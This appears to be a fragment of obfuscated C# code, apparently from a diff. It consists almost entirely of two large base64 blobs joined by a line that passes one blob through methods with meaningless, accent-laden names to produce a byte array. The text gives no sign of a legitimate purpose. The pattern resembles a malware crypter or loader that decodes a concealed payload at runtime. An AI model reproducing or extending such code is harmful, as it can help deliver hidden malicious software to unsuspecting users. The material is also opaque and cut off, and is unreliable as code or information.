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" - }[1])))); - byte[] numArray = sakiajfwefjwa.ÈÈÉ(jdawdiawhiwhfifaw.ÉËÊ(Convert.FromBase64String("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B5U3xekLGI+WLRIDQhQP4wNC57LeM+vRKSrzFScL7bobSjkiAyhhGo3AK/zb+TAlIeD5G5QHGJ3HaeAlu6p5mh8XlscL9eIFEWLnlB8aAwxi67r29nSQkSOTgYIqVr77c9cL7Pwro0ImG18pq6+LKy0UK5cXo+ts6ufzCylx61qrI5cVo+u3qOPzC0koZigJ29UL0R4JWqsjWymGaNNyS5j3RCOqgvM0gcyPcMuPFR8K+5bL6xOblKE8ZBujKSGquRMFUFsjq7mLv5KnEwMkoSvQCyYjKDnbqvkrJwMkWapfmR294uSThih56xEbJUeKKIYADmMBQmvaWSJ4tysUYycimx2rK0YADmP+QuvH4gRhWf4LFTsk3deLHxYD0H0oC+sC289EowkfBESq3wtiIhXbHZcoJevNKCipqx8LvwlD/A67BylpBUkkEaMRE4vTa5MmH6P+yysAhKrCJp93qyoKy/T7C2yrKn0LJmmrucuoniujKcuqQ9RDIyj+DNsQAyTdi/MpIQfR6xPbHQcom2dwGisnKyo5qjnFy4u/gmErlyYlqyh66xPbHRLPCx8DJBk0E6PrslghKR0gK2tNrFN7nwX419IZ8GINi6wnEqMraeUpK9k7qis5qg0bJZcomqv8GyWXrHCrC1skaau5CygDdOX5/++rIwOlc6srd+sFGyWXKHNg4guUs25aJidjJok0MimryxQfq5gryuvy+/z767cGKF8gK6uvKisb/SsrXM79q3ArK2kVKytEqSunKEbrG9udbuglJypGCylh+qq5Q+vy/4sPdyYZYSspGynqYPILs4xjAANbJmmrueszSygJK0FtJesrD+szi8QL/ewourImJ9t1T7e5FwvO+6pXRkOVFosPy06oq626FwunKBsqZlsVG+sZarmxFCtDGSvK6/Jb0+srZyYnAyXADPyTqzRtKskUIwusCisjOqr7i09J/Ug86yiTIAXbH6zydysrAxQrK0kpK9vM4sMgK+u6KivjKJJut6u4CiUzFBNrc2srYSYra3LrK5MjsXIVKCMoYYoqQO2pJ6cqRqv8ECMoYeopL0ZfamCP78MSo2D+CytKYGLrD1EpKcM//8QdKy3rJCMoYYIgq4V3KmmruSsQY7/763HAagJFpCaXgOvyIAOEK0a3i08rYcIQimNww7iqx/37AyBFiBquKurMm6oLiw/A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